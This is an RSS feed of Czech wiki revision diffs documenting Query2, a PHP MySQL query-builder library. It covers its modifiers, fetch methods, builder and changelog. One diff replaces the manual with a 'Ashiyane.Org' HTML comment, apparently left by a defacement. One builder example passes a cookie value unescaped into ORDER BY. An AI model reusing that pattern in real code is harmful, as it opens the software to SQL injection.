$where = $q-&gt;builder()-&gt;whereAnd(&quot;active = 1&quot;)-&gt;whereAnd(&quot;id_category = %i&quot;, $id_category);
$q-&gt;query(&quot;UPDATE book SET %a&quot;, $cols_to_update, $where);
// =&gt; UPDATE book SET availability = 1, ... WHERE active = 1 AND id_category = 456
{/syntax}

Využíváme té vlastnosti, že Quer2Builder do generovaného dotazu vkládá pouze neprázdné položky. Pokud jsme tedy nezadali žádný sloupect do select() nebo tabulku do from(), ve výsledném dotazu vůbec klíčová slova SELECT a FROM nebudou (nebude se tedy jednat o správně zkonstruovaný dotaz, ale můžeme jej použít jako část celku).
!!Obsluha chyb
Obsluha chyb je velmi jednoduchá, při každé se vyhodí výjimka Query2Exception. Vyhozená výjimka má tyto atributy:
* code - číselný kód chyby:
** 100 - ''Can't connect to database server.''
** 101 - ''Can't select database.''
** 200 - ''Wrong argument list/order to query()''
*** Nastává, v případech: $q-&gt;query(&quot;INSERT INTO users %v&quot;); (tedy zapomenutí parametru)
** 201 - ''Wrong modifier to query() function.''
** 300 - Chyba při vykonávání dotazu
* error - textový popis chyby, v případě 300 se jedná o mysql_error()
* sql - u 300 dotaz, který chybu způsobil

!Extras
!!Logování

Objektu lze předat callback, který bude volán po vykonání dotazu s údaji o délce provedení, úspěchu dotazu (callback se volá před vyhozením výjimky).

{syntax php}
function logger($success, $query, $time)
{
	echo &quot;Podařilo se dotaz vykonat: ($success ? &quot;ANO&quot; : &quot;NE&quot;), &quot;, dotaz zabral $time milisekund. Obsah dotazu: $query&quot;;
}

$q-&gt;setLogCallback(&quot;logger&quot;);

$callback = $q-&gt;getLogCallback(); // v případe, když bychom ho potřebovali zpět
{/syntax}

!!Pomocné metody
* composeQuery() - akceptuje stejné parametry jako query() a vrací vygenerovaný dotaz v čistém SQL
* pquery() - vygeneruje dotaz, vytiskne ho na výstup, ale dotaz také spustí. Vhodné na rychlé hledání chyb, protože jediné, co potřebujete pro výpis dotazu na výstup je přidání jediného písmenka (query() =&gt; pquery()), jinak totiž všechno funguje úplně stejně.

!!Statické metody
V Dibi najdete zdánlivě praktické statické metody dibi::connect(), dibi::query() a možná i další. V Query2 žádné takové nenajdete a to jednoduše proto, že jsou z principu velmi špatné. Proč jsou statické metody tak špatné zjistíte (např.), když podědíte třídu dibi a budete ji chtít použít v existujícím projektu místo dibi.

!!Unit testy
V [repozitáři|https://code.google.com/p/query2/source/] je k dispozici [soubor|https://code.google.com/p/query2/source/browse/trunk/test/Query2Test.php] s PHPUnit testy. Přestože je pokrytí kódu prakticky stoprocentní, je stále co zlepšovat. Může se hodit na věci, které z manuálu nejsou úplně jasné.

!Autor
Autorem Query2 je Adam Živnéř, adam.zivner@gmail.com . Úvodní fázi vývoje zasponzorovala firma [Továrna.cz|http://www.tovarna.cz].</del><ins>&lt;/body&gt;
&lt;!--- Ashiyane.Org ---&gt;
&lt;/html&gt;
?X{/html}</ins>
</pre></description>
	</item>

	<item>
	  <title>ChangeLog</title>
	  <pubDate>Sun, 11 Jul 2010 14:38:00 +0200</pubDate>
	  <link>http://query2.0o.cz/index.php?page=ChangeLog</link>
	  <description><pre id="diff"><ins>!Změny v 1.1.3
''Vydáno 4. 10. 2010''
* Query2Result umožňuje volat fetchAll(), fetchAssoc(), fetchCol() a fetchPairs() (tzn. fetchovací metody, které vrací všechny data) po sobě bez nutnosti manuálního rewindu
</ins>
!Změny v 1.1.2 a 1.0.6
''Vydáno 11. 7. 2010''
* Opravena chyba při které mohlo dojít ke změně některých speciálních znaků (\r \n \u). Problém byl ve funkci preg_replace, která je špatně interpretovala.
<ins></ins>

!Změny v 1.1.1
''Vydáno 3. 6. 2010''
* Opraven logovací callback - délka vykonání dotazu mohla být v některých případech špatná (dokonce i záporná)

!Změny v 1.1.0
''Vydáno 27. 5. 2010''
* liší se od 1.0 v modifikátorech %x (1.1) a %q (1.0). Dnešní %X odpovídá %q z 1.0. Obdoba %x v 1.0 neexistovala.
* Podpora pro unbuffered queries s metodou uquery()
* Podpora pro jednoduché a omezené multi query s mquery() - vhodné třeba pro import z exportů databáze
* Rozšířené fetchovací metody o možnost omezit množinu fetchovaných sloupců
* ... a další

!Změny v 1.0.5
''Vydáno 25. 5. 2010''
* Opraven případ $q-&gt;query(&quot;DELETE&quot;, $builder); (kombinace Query2Builder s normálními řetězci) který předtím vyhazoval výjimku

!Změny v 1.0.4
''Vydáno 30. 4. 2010''
* V některých případech je SET AUTOCOMMIT=1 po COMMIT nebo ROLLBACK nutné

!Změny v 1.0.3
''Vydáno 24. 3. 2010''
* V určitých vzácných případech se mohlo více % za sebou interpretovat špatně (3 a více).


!Změny v 1.0.2
''Vydáno 18. 3. 2010''
* ''Komplexní'' zápis INSERT INTO ... ON DUPLICATE KEY UPDATE nefungoval v případě, kdy jsme nedefinovali pole sloupců pro update.

!Změny v 1.0.1
''Vydáno 15. 3. 2010''
* v Query2Builderu se zbytečně escapoval vstup z select(), orderBy() a groupBy()
* oprava chyby, kdy IN() nefungovalo pro prázdné pole. Vytvořen nový modifikátor %nin pro NOT IN
* není třeba spouštět SET AUTOCOMMIT = 1 po COMMIT nebo ROLLBACK

!Změny v 1.0.0
''Vydáno 14. 3. 2010''
První veřejná verze
</pre></description>
	</item>

	<item>
	  <title>Main page</title>
	  <pubDate>Sun, 11 Jul 2010 14:36:35 +0200</pubDate>
	  <link>http://query2.0o.cz/index.php?page=Main+page</link>
	  <description><pre id="diff">{TOC}
Query2 je minimalistický databázový layer pro MySQL v PHP. Je podobný třeba [dibi|http://dibiphp.com/] nebo [Zend_Db|http://framework.zend.com/manual/en/zend.db.html], hlavní odlišností je asi to, že se nepokouší o databázovou abstrakci - je pevně svázán s [MySQL|http://mysql.com], což má své výhody i nevýhody.

!Přehled
* Malá, jednoduchá a snadno upravitelná knihovna - celé Query2 má asi 20KB, kód je čitelný a dostatečně komentovaný
** Pro srovnání, kód Dibi má 250KB, cca 12krát tolik.
* Flexibilní a mocný - Query2 umožňuje psát značně méně kódu
* Dělá jednu věc, zato pořádně - tou je &quot;kompozice&quot; dotazu
** Neumí managovat databázové spojení, logování a podobné okrajové věci
* Umí používat speciality MySQL
** Jako třeba [INSERT INTO ... ON DUPLICATE KEY UPDATE|http://dev.mysql.com/doc/refman/5.0/en/insert-on-duplicate.html]
* Neumí pojmenované parametry - v MySQL je ostatně jejich přínos diskutabilní
* licencován pod [New BSD license|http://www.opensource.org/licenses/bsd-license.php]

!Download

Aktuální stabilní verze je <del>1.1.2,</del><ins>1.1.3,</ins> k dispozici ke stáhnutí <del>[zde|./download/Query2-1.1.2.tar.gz].</del><ins>[zde|./download/Query2-1.1.3.tar.gz].</ins> SVN repozitář je na Google Code k nalezení [zde|https://code.google.com/p/query2/source/checkout].

Změny v jednotlivých verzích jsou popsány v [ChangeLogu|ChangeLog].

!!Požadavky
PHP &gt;= 5. Otestováno na PHP 5.0.5, 5.2.11 a 5.3.1. Query2 je možné použít pouze s kódováními kompatibilními s ASCII, např. UTF-8, ISO-8859-X/latinX, CP-XXXX atp. Mezi kódování nekompatibilní s ASCII patří např. UTF-16/UCS-2 nebo UTF-32/UCS-4.


!Manuál
!!Připojení k databázi

{syntax php}
// Vytvoříme instanci objektu a zároveň se připojíme k databázi
$q = new Query2(&quot;localhost&quot;, &quot;root&quot;, &quot;&quot;, &quot;my_database&quot;);

// Připojit se k databázi můžeme ale nezávisle na instanciaci objektu
$q = new Query2(); // pouze vytvoříme instanci objektu
$q-&gt;connect(&quot;localhost&quot;, &quot;root&quot;, &quot;&quot;, &quot;my_database&quot;); // connect() má stejné parametry jako konstruktor
{/syntax}

!!Základní dotazy
{syntax php}
echo $q-&gt;query(&quot;SELECT id FROM users WHERE login = %s AND password = %s&quot;, 
	$_POST[&quot;login&quot;], sha1($_POST[&quot;password&quot;]))-&gt;fetchOne();

// SQL kód můžeme mixovat s parametry, následující dotaz dělá úplně to samé, co předchozí
echo $q-&gt;query(&quot;SELECT id FROM users WHERE login = %s&quot;, sha1($_POST[&quot;password&quot;]), 
	&quot;AND password = %s&quot;, $_POST[&quot;login&quot;])-&gt;fetchOne();
{/syntax}

Co přesně kód dělá? Metoda query() zparsuje vstupní argumenty a spustí dotaz. Předali jsme jí 3 parametry (v prvním případě). Parser hledá znaky procenta, ty značí, že následující znak/řetězec má speciální význam (říkáme jim ''modifikátory''). %s znamená, že další parametr bude řetězec, který se má na místo %s substituovat, ale v escapované podobě. Nemusíme se proto starat o spouštění addslashes() nebo mysql_real_escape_string(). 

Metoda query() vrací tři možné věci:
* False - dotaz neuspěl
* Instanci objektu Query2Result v případě, kdy dotaz do databáze vrací nějaká data (hlavně SELECT, DESCRIBE atp.)
** To je náš případ, metodou fetchOne() objektu třídy Query2Result si vyžádáme první sloupec prvního výsledku
* Instanci objektu Query2 v ostatních případech (tedy $this)
** Typicky pro INSERT, UPDATE, DELETE atp.

!!Seznam modifikátorů
Modifikátory pracující s řetězci se často vyskytují ve dvojicích - modifikátor %a (malé písmeno) parametr escapuje, %A parametr neescapuje. I neescapovaný řetězec je ale vždy obklopen jednoduchými uvozovkami.

* %i (od slova &quot;integer&quot;) - celé číslo
* %f (&quot;float&quot;) - reálné číslo
* %s a %S (&quot;string&quot;) - řetězec
* %t (&quot;table&quot;) - jméno tabulky/sloupce/view/indexu atp., obklopuje hodnotu znakem `
** Je vhodný např. na nastavitelné řazení tabulky ala $q-&gt;query(&quot;SELECT ... ORDER BY %t&quot;, $radici_sloupec)...
** V tomto případě se používá jiný druh escapování - escapuje se znak `, &quot; a ' se nechávají být.
** Příklad: table.column =&gt; `table`.`column`
* %x a %X - pouze vloží argument, volitelně escapuje - neobklopuje ' ani `. Vhodné na vkládání částí nebo celých dotazů v čistém SQL
** liší se od 1.0, dnešní %X odpovídá %q z 1.0. Obdoba %x v 1.0 neexistovala.
* %in a %IN - přijímá pole hodnot a vytvoří něco jako IN ('A', 'B', 'C') - operátor IN se v SQL neuvádí, např. &quot;WHERE born %in&quot;, array(1987, 1990)
** V případě, že pole v argumentu je prázdné, vloží se místo IN() hodnota FALSE. IN() je chybný zápis, IN(NULL) zase nefunguje pro NOT IN
** NOT IN(...) se zapisuje očekávatelně: &quot;WHERE born NOT %in&quot;, array(...)
* %a a %A (&quot;aktualizovat&quot;) - z asociativního pole v argumentu vytvoří řetězec vhodný pro UPDATE
* %v a %V (&quot;vložit&quot;) - to samé jako %a a %A, ale pro INSERT
** Pokud v argumentu není asociativní pole, ale pole asociativních polí, vytvoří se multi insert
*** Pokud vkládáte velké množství řádků, pak je &quot;multi insert&quot; řádově rychlejší než X samostatných INSERTů (ale pozor na maximální velikost packetů!)
* %va a %VA - vytvoří řetězec vhodný pro INSERT ... ON DUPLICATE KEY, je to ale trochu složitější a rozeberu to zvlášť níže

Speciálním případem je PHP hodnota null, která se bez ohledu na modifikátor vždy převede na NULL v SQL.

!!!Příklady

{syntax php}
// Vytvoří dotaz SELECT 'SQL \'injection', 'SQL 'injection'
$q-&gt;query(&quot;SELECT %s, %S&quot;, &quot;SQL 'injection&quot;, &quot;SQL 'injection&quot;);

// Chceme najít všechny loginy končící na písmeno s (pouze demonstrativní příklad)
// Vytvoří SELECT * FROM users WHERE login LIKE '%s'
$q-&gt;query(&quot;SELECT * FROM users WHERE %q&quot;, &quot;login LIKE '%s'&quot;);

// Vytvoří dotaz UPDATE users SET name = 'Lil\' John', password = '47bce5c74f589f4867dbd57e9ca9f808' WHERE id = 25
$q-&gt;query(&quot;UPDATE users SET %a WHERE id = %i&quot;, array(
	&quot;name&quot; =&gt; &quot;Lil' John&quot;,
	&quot;password&quot; =&gt; &quot;47bce5c74f589f4867dbd57e9ca9f808&quot;
), 25);

// Vytvoří dotaz SELECT * FROM users WHERE login IN ('Eva', 'Filip', 'Jakub') ORDER BY `lo'gi``n`
$q-&gt;query(&quot;SELECT * FROM users WHERE login %in ORDER BY %t&quot;, array(&quot;Eva&quot;, &quot;Filip&quot;, &quot;Jakub&quot;), &quot;lo'gi`n&quot;);

// Vytvoří dotaz INSERT INTO users (name, password) VALUES ('Lil\' John', '47bce5c74f589f4867dbd57e9ca9f808')
$q-&gt;query(&quot;INSERT INTO users %v&quot;, array(
	&quot;name&quot; =&gt; &quot;Lil' John&quot;,
	&quot;password&quot; =&gt; &quot;47bce5c74f589f4867dbd57e9ca9f808&quot;
));
{/syntax}

Poslední dva příklady dávají nápovědu jak řešit častý problém: ''pokud řádek v tabulce existuje, potřebujeme jej aktualizovat, pokud ne, tak vytvořit'':

{syntax php}
$arr = array(
	&quot;name&quot; =&gt; &quot;Eva&quot;,
	&quot;password&quot; =&gt; &quot;47bce5c74f589f4867dbd57e9ca9f808&quot;
);

if($id)
	$q-&gt;query(&quot;UPDATE users SET %a WHERE id = %i&quot;, $arr, $id);
else
	$id = $q-&gt;query(&quot;INSERT INTO users %v&quot;, $arr)-&gt;lastInsertId();
{/syntax}

Tento problém lze vyřešit elegantně i bez Query2, a to pomocí méně známé MySQL konstrukce INSERT INTO users SET ..., která data přijímá ve stejné podobě jako UPDATE.

Jde to ale ještě elegantněji:

!!!INSERT ... ON DUPLICATE KEY UPDATE
Zopakujme si, co vlatně tato velmi užitečná konstrukce dělá: Nejprve se snaží vložit zadaný řádek, pokud ovšem nemůže kvůli konfliktu indexů (a to nejen primárního, ale i ostatních unikátních), pak se provede update řádku (a to jen vyspecifikované hodnoty).

Zápis v SQL je ale zbytečně dlouhý a možná i matoucí.

Query2 umožňuje dvě možná použití této konstrukce, která se liší formátem argumentu:

!!!!Jednoduchá
Snaží se vložit řádek, pokud neuspěje, aktualizuje všechny sloupce řádku uvedené v argumentu. Argumentem je klasické asociativní pole jméno =&gt; hodnota.

{syntax php}
// Vytvoří dotaz INSERT INTO users (name, password) VALUES ('Eva', '47bce5c74f589f4867dbd57e9ca9f808') 
//		 ON DUPLICATE KEY UPDATE name = VALUES(name), password = VALUES(password)
$q-&gt;query(&quot;INSERT INTO users %va&quot;, array(
	&quot;name&quot; =&gt; &quot;Eva&quot;,
	&quot;password&quot; =&gt; &quot;47bce5c74f589f4867dbd57e9ca9f808&quot;
));
{/syntax}

!!!!Složitá
Toto použití je složitější, ale poskytuje více možností. Argumentem je pole, ovšem s maximálně třemi položkami:
* data - klasické asociativní pole s jmény sloupců a hodnotami (tedy stejné jako argument z jednoduché varianty), povinné
* update - pole s jmény sloupců, které se mají updatovat v případě konfliktu indexů, volitelné
** pokud není definované, předpokládají se všechny sloupce
* auto_increment - specifikuje sloupec s auto inkrementem, volitelné

{syntax php}
// Vytvoří dotaz INSERT INTO users (id, name, password) VALUES (5, 'Eva', '47bce5c74f589f4867dbd57e9ca9f808') 
//		 ON DUPLICATE KEY UPDATE password = VALUES(password), id = LAST_INSERT_ID(id)
$id = $q-&gt;query(&quot;INSERT INTO users %va&quot;, 
	&quot;data&quot; =&gt; array(
		&quot;id&quot; =&gt; $id
		&quot;name&quot; =&gt; &quot;Eva&quot;,
		&quot;password&quot; =&gt; &quot;47bce5c74f589f4867dbd57e9ca9f808&quot;
	),
	&quot;update&quot; =&gt; array(&quot;password&quot;),
	&quot;auto_increment&quot; =&gt; &quot;id&quot;
)-&gt;lastInsertId();
{/syntax}

Na co ten &quot;auto_increment&quot; parametr je? Vraťme se opět k našemu problému vložení řádku, pokud neexistuje a aktualizace pokud existuje. V případě, že se řádek vloží, budete pravděpodobně chtít znát ID právě vloženého řádku. V případě, že ale řádek existuje a proběhne jen update, databázové LAST_INSERT_ID logicky zůstane na předchozí hodnotě, protože ke vložení nového řádku nedošlo. Problém ale je, že nedokážeme zjistit, jestli došlo k INSERT nebo UPDATE.

Na to se nám hodí ta magická konstrukce na konci &quot;id = LAST_INSERT_ID(id)&quot;. V případě, že dojde k UPDATE, nastaví databázové LAST_INSERT_ID na hodnotu sloupce &quot;id&quot; (resp. sloupce s příznakem AUTO_INCREMENT) právě aktualizovaného řádku. Takto vám metoda lastInsertId() vždy vrátí ID řádku, ať už byl aktualizovaný nebo právě vložený.

Pokud se vám zdá, že je ta syntaxe divná, nejste sami :-)

!!!SQL konstrukce v %a, %v a %av
Představme si, že chceme do Query2 převést tento dotaz:

{syntax sql}
INSERT INTO users_login (id_user, last_login) VALUES (1, NOW())
{/syntax}

Modifikátor %v ani %V použít nemůžeme, protože oba by NOW() obalili jednoduchými uvozovkami. Musíme to řešit proto takovou specialitou:

{syntax php}
$q-&gt;query(&quot;INSERT INTO users_login %v&quot;, array(
	&quot;id_user&quot; =&gt; 1,
	&quot;last_login&quot; =&gt; new Query2Statement(&quot;NOW()&quot;)
));
{/syntax}

Query2Statement je primitivní třída vytvořená čistě pro tento úkol. V konstruktoru se zadává hodnota, která se má substituovat bez escapování a bez oblokopení uvozovkami. Upozorňuji na to, že tuto speciální konstrukce je nutné (a taky možné) použít jen uvnitř argumentů k %a/%A, %v/%V. Jinak totiž není problém napsat:

{syntax php}
$q-&gt;query(&quot;INSERT INTO users_login (id_user, last_login) VALUES (%i, NOW())&quot;, $id_user);
{/syntax}




!!Fetchování dat
Zatím jsem rozebíral pouze &quot;kompozici&quot; dotazů, teď se dostanu k &quot;fetchování&quot; dat z výsledku dotazu. Máme několik metod, většina je celkem standardní. Pojmenování je stejné jako u Zend_Db.

* fetchRow() - vrátí řádek v asociovaném poli, je možné volat opakovaně v cyklu, stejně jako [mysql_fetch_row()|http://cz.php.net/manual/en/function.mysql-fetch-row.php]
* fetchAll() - vrátí celý výsledek v dvourozměrném poli
* fetchOne() - vrátí hodnotu prvního sloupce prvního řádku výsledku. Volitelný parametr může obsahovat jméno sloupce, který se má vrátit místo prvního
* fetchCol() - vrací pole obsahující první sloupce všech řádků výsledku
* fetchPairs() - vrátí výsledek v asociativním poli složený z prvních dvou sloupců
* fetchAssoc($col, ...) - vrátí celý výsledek asociovaný podle zadaného sloupce. Pokud je zadáno více sloupců, asociuje se víceúrovňově. Pro každou hodnotu asociovaného sloupce se vytvoří pole, počítá se tím pádem s duplikátními hodnotami.

!!!Příklady
{syntax php}
$result = $q-&gt;query(&quot;SELECT id, name, password FROM users&quot;);

var_export($result-&gt;fetchRow());
array(
	&quot;id&quot; =&gt; 1,
	&quot;name&quot; =&gt; &quot;Alice&quot;,
	&quot;password&quot; =&gt; &quot;A52E094A3580FC32&quot;
)

var_export($result-&gt;fetchAll());
array(
	array(
		&quot;id&quot; =&gt; 1,
		&quot;name&quot; =&gt; &quot;Alice&quot;,
		&quot;password&quot; =&gt; &quot;A52E094A3580FC32&quot;
	),
	array(
		&quot;id&quot; =&gt; 2,
		&quot;name&quot; =&gt; &quot;Markéta&quot;,
		&quot;password&quot; =&gt; &quot;E87E094A3580FC32&quot;
	)
);

echo $result-&gt;fetchOne();
1

var_export($result-&gt;fetchCol(&quot;name&quot;));
array(&quot;Alice&quot;, &quot;Markéta&quot;);

var_export($result-&gt;fetchPairs());
array(
	1 =&gt; &quot;Alice&quot;,
	2 =&gt; &quot;Markéta&quot;
);

$result = $q-&gt;query(&quot;SELECT id, country, city, name FROM users&quot;);
var_export($q-&gt;fetchAssoc(&quot;country&quot;, &quot;city&quot;);
array(
	&quot;CR&quot; =&gt; array(
		&quot;Praha&quot; =&gt; array(
			0 =&gt; array(
				&quot;id&quot; =&gt; 1,
				&quot;country&quot; =&gt; &quot;CR&quot;
				&quot;city&quot; =&gt; &quot;Praha&quot;,
				&quot;name&quot; =&gt; &quot;Alice&quot;
			),
			1 =&gt; array(
				&quot;id&quot; =&gt; 2,
				&quot;country&quot; =&gt; &quot;CR&quot;
				&quot;city&quot; =&gt; &quot;Praha&quot;,
				&quot;name&quot; =&gt; &quot;Markéta&quot;
			)
		),
		&quot;Brno&quot; =&gt; array(
			0 =&gt; array(
				&quot;id&quot; =&gt; 3,
				&quot;country&quot; =&gt; &quot;CR&quot;
				&quot;city&quot; =&gt; &quot;Brno&quot;,
				&quot;name&quot; =&gt; &quot;Eva&quot;
			)
		)
	),
	&quot;SR&quot; =&gt; array(
		&quot;Bratislava&quot; =&gt; array(
			0 =&gt; array(
				&quot;id&quot; =&gt; 4,
				&quot;country&quot; =&gt; &quot;SR&quot;
				&quot;city&quot; =&gt; &quot;Bratislava&quot;,
				&quot;name&quot; =&gt; &quot;Martina&quot;
			)
		)
	)
);
{/syntax}

!!!Iterator a countable interface
S výsledky je možné pracovat i jako s obyčejným polem:

{syntax php}
$result = $q-&gt;query(&quot;SELECT * FROM users&quot;);

echo &quot;Počet uživatelů je: &quot;, count($result), &quot;&lt;br /&gt;\n&quot;;

foreach($result as $row)
	echo $row[&quot;name&quot;], &quot;&lt;br /&gt;\n&quot;;

// Result se dá &quot;rewindnout&quot;, jde tedy procházet výsledek opakovaně
foreach($result as $row)
	echo $row[&quot;surname&quot;], &quot;&lt;br /&gt;\n&quot;;
{/syntax}



!!Query2Builder
SQL je jazyk poměrně blízký lidskému jazyku - to má své výhody, ale také jednu nevýhodu - dotaz se ''kódem'' blbě modifikuje. Vytvořme si modelovou situaci. V administraci blogovacího systému máme seznam blogpostů, ten je možné řadit podle libovolného sloupce, stránkovat, filtrovat podle data publikace a autora. Možných variant dotazu je docela dost a kód, který tento dotaz generuje je zbytečně dlouhý a nepřehledný. Query2Builder se snaží tento problém usnadnit:

{syntax php}
// Objekt Query2Builder získáváme z objektu Query2 metodou builder()
$builder = $q-&gt;builder();

$builder-&gt;select(&quot;blog.id&quot;)-&gt;select(&quot;blog.name, blog.id_autor&quot;)-&gt;from(&quot;blog&quot;); // je možné více způsobů zápisu

if(isset($_COOKIE[&quot;filter_autor&quot;]) // v Query2Builderu je možné úplně normálně používat modifikátory
	$builder-&gt;from(&quot;JOIN autor USING(id_autor)&quot;)-&gt;whereAnd(&quot;autor.name LIKE %s&quot;, $_COOKIE[&quot;filter_autor&quot;]);

if(isset($_COOKIE[&quot;filter_datum&quot;]))
	$builder-&gt;whereAnd(&quot;blog.datum = %s&quot;, $_COOKIE[&quot;filter_datum&quot;]); // je možné používat modifikátory

if(isset($_COOKIE[&quot;orderby&quot;]))
	$builder-&gt;orderBy($_COOKIE[&quot;orderby&quot;]);

$builder-&gt;limit(($page - 1) * $perpage, $perpage); // stránkování

$blogposty = $q-&gt;query($builder)-&gt;fetchAll(); // do metody query() zadáme jako argument instanci Query2Builder

// použijeme trochu modifikovaný dotaz pro získání celkového počtu řádků (užitečné na zobrazení stránkování)
// BTW, v MySQL jde udělat i bez spouštění druhého dotazu
$celkem_pocet = $q-&gt;query($builder-&gt;clearSelect()-&gt;select(&quot;COUNT(*)&quot;)-&gt;clearLimit())-&gt;fetchOne();
{/syntax}

!!!Zanořené WHERE a HAVING
{syntax php}
$or = $q-&gt;builder()-&gt;whereOr(&quot;skladem = 1&quot;)-&gt;whereOr(&quot;ocekavane_naskladneni &lt; NOW() + INTERVAL 1 MONTH&quot;);
$builder = $q-&gt;builder()-&gt;select(&quot;*&quot;)-&gt;from(&quot;knihy&quot;)-&gt;whereAnd(&quot;v_prodeji = 1&quot;)-&gt;whereAnd($or);

// composeQuery() pouze vytvoří SQL dotaz, ale nespouští jej
echo $q-&gt;composeQuery($builder);

// =&gt; SELECT * FROM knihy WHERE v_prodeji = 1 AND (skladem = 1 OR ocekavane_naskladneni &lt; NOW() + INTERVAL 1 MONTH)
{/syntax}

Jedna instance Query2Builderu dokáže vytvořit pouze jednu úroveň pro WHERE. Na druhou stranu, ale také akceptuje jako argument další instanci Query2Builderu, kterou bere jako zanořenou podmínku.

Metody pro HAVING se chovají analogicky.

!!!Jiné dotazy než SELECTy
Query2Builder byl vytvořen hlavně pro SELECTy, s trochou snahy ho lze ale využít pro libovolné dotazy, viz pár například:

{syntax php}
$where = $q-&gt;builder()-&gt;whereAnd(&quot;active = 1&quot;)-&gt;whereAnd(&quot;id_category = %i&quot;, $id_category);
$q-&gt;query(&quot;UPDATE book SET %a&quot;, $cols_to_update, $where);
// =&gt; UPDATE book SET availability = 1, ... WHERE active = 1 AND id_category = 456
{/syntax}

Využíváme té vlastnosti, že Quer2Builder do generovaného dotazu vkládá pouze neprázdné položky. Pokud jsme tedy nezadali žádný sloupect do select() nebo tabulku do from(), ve výsledném dotazu vůbec klíčová slova SELECT a FROM nebudou (nebude se tedy jednat o správně zkonstruovaný dotaz, ale můžeme jej použít jako část celku).
!!Obsluha chyb
Obsluha chyb je velmi jednoduchá, při každé se vyhodí výjimka Query2Exception. Vyhozená výjimka má tyto atributy:
* code - číselný kód chyby:
** 100 - ''Can't connect to database server.''
** 101 - ''Can't select database.''
** 200 - ''Wrong argument list/order to query()''
*** Nastává, v případech: $q-&gt;query(&quot;INSERT INTO users %v&quot;); (tedy zapomenutí parametru)
** 201 - ''Wrong modifier to query() function.''
** 300 - Chyba při vykonávání dotazu
* error - textový popis chyby, v případě 300 se jedná o mysql_error()
* sql - u 300 dotaz, který chybu způsobil

!Extras
!!Logování

Objektu lze předat callback, který bude volán po vykonání dotazu s údaji o délce provedení, úspěchu dotazu (callback se volá před vyhozením výjimky).

{syntax php}
function logger($success, $query, $time)
{
	echo &quot;Podařilo se dotaz vykonat: ($success ? &quot;ANO&quot; : &quot;NE&quot;), &quot;, dotaz zabral $time milisekund. Obsah dotazu: $query&quot;;
}

$q-&gt;setLogCallback(&quot;logger&quot;);

$callback = $q-&gt;getLogCallback(); // v případe, když bychom ho potřebovali zpět
{/syntax}

!!Pomocné metody
* composeQuery() - akceptuje stejné parametry jako query() a vrací vygenerovaný dotaz v čistém SQL
* pquery() - vygeneruje dotaz, vytiskne ho na výstup, ale dotaz také spustí. Vhodné na rychlé hledání chyb, protože jediné, co potřebujete pro výpis dotazu na výstup je přidání jediného písmenka (query() =&gt; pquery()), jinak totiž všechno funguje úplně stejně.

!!Statické metody
V Dibi najdete zdánlivě praktické statické metody dibi::connect(), dibi::query() a možná i další. V Query2 žádné takové nenajdete a to jednoduše proto, že jsou z principu velmi špatné. Proč jsou statické metody tak špatné zjistíte (např.), když podědíte třídu dibi a budete ji chtít použít v existujícím projektu místo dibi.

!!Unit testy
V [repozitáři|https://code.google.com/p/query2/source/] je k dispozici [soubor|https://code.google.com/p/query2/source/browse/trunk/test/Query2Test.php] s PHPUnit testy. Přestože je pokrytí kódu prakticky stoprocentní, je stále co zlepšovat. Může se hodit na věci, které z manuálu nejsou úplně jasné.

!Autor
Autorem Query2 je Adam Živnéř, adam.zivner@gmail.com . Úvodní fázi vývoje zasponzorovala firma [Továrna.cz|http://www.tovarna.cz].
</pre></description>
	</item>

	<item>
	  <title>ChangeLog</title>
	  <pubDate>Thu, 03 Jun 2010 16:48:38 +0200</pubDate>
	  <link>http://query2.0o.cz/index.php?page=ChangeLog</link>
	  <description><pre id="diff"><ins>!Změny v 1.1.2 a 1.0.6
''Vydáno 11. 7. 2010''
* Opravena chyba při které mohlo dojít ke změně některých speciálních znaků (\r \n \u). Problém byl ve funkci preg_replace, která je špatně interpretovala.
</ins>
!Změny v 1.1.1
''Vydáno 3. 6. 2010''
* Opraven logovací callback - délka vykonání dotazu mohla být v některých případech špatná (dokonce i záporná)

!Změny v 1.1.0
''Vydáno 27. 5. 2010''
* liší se od 1.0 v modifikátorech %x (1.1) a %q (1.0). Dnešní %X odpovídá %q z 1.0. Obdoba %x v 1.0 neexistovala.
* Podpora pro unbuffered queries s metodou uquery()
* Podpora pro jednoduché a omezené multi query s mquery() - vhodné třeba pro import z exportů databáze
* Rozšířené fetchovací metody o možnost omezit množinu fetchovaných sloupců
* ... a další

!Změny v 1.0.5
''Vydáno 25. 5. 2010''
* Opraven případ $q-&gt;query(&quot;DELETE&quot;, $builder); (kombinace Query2Builder s normálními řetězci) který předtím vyhazoval výjimku

!Změny v 1.0.4
''Vydáno 30. 4. 2010''
* V některých případech je SET AUTOCOMMIT=1 po COMMIT nebo ROLLBACK nutné

!Změny v 1.0.3
''Vydáno 24. 3. 2010''
* V určitých vzácných případech se mohlo více % za sebou interpretovat špatně (3 a více).


!Změny v 1.0.2
''Vydáno 18. 3. 2010''
* ''Komplexní'' zápis INSERT INTO ... ON DUPLICATE KEY UPDATE nefungoval v případě, kdy jsme nedefinovali pole sloupců pro update.

!Změny v 1.0.1
''Vydáno 15. 3. 2010''
* v Query2Builderu se zbytečně escapoval vstup z select(), orderBy() a groupBy()
* oprava chyby, kdy IN() nefungovalo pro prázdné pole. Vytvořen nový modifikátor %nin pro NOT IN
* není třeba spouštět SET AUTOCOMMIT = 1 po COMMIT nebo ROLLBACK

!Změny v 1.0.0
''Vydáno 14. 3. 2010''
První veřejná verze
</pre></description>
	</item>

	<item>
	  <title>Main page</title>
	  <pubDate>Thu, 03 Jun 2010 16:47:38 +0200</pubDate>
	  <link>http://query2.0o.cz/index.php?page=Main+page</link>
	  <description><pre id="diff">{TOC}
Query2 je minimalistický databázový layer pro MySQL v PHP. Je podobný třeba [dibi|http://dibiphp.com/] nebo [Zend_Db|http://framework.zend.com/manual/en/zend.db.html], hlavní odlišností je asi to, že se nepokouší o databázovou abstrakci - je pevně svázán s [MySQL|http://mysql.com], což má své výhody i nevýhody.

!Přehled
* Malá, jednoduchá a snadno upravitelná knihovna - celé Query2 má asi 20KB, kód je čitelný a dostatečně komentovaný
** Pro srovnání, kód Dibi má 250KB, cca 12krát tolik.
* Flexibilní a mocný - Query2 umožňuje psát značně méně kódu
* Dělá jednu věc, zato pořádně - tou je &quot;kompozice&quot; dotazu
** Neumí managovat databázové spojení, logování a podobné okrajové věci
* Umí používat speciality MySQL
** Jako třeba [INSERT INTO ... ON DUPLICATE KEY UPDATE|http://dev.mysql.com/doc/refman/5.0/en/insert-on-duplicate.html]
* Neumí pojmenované parametry - v MySQL je ostatně jejich přínos diskutabilní
* licencován pod [New BSD license|http://www.opensource.org/licenses/bsd-license.php]

!Download

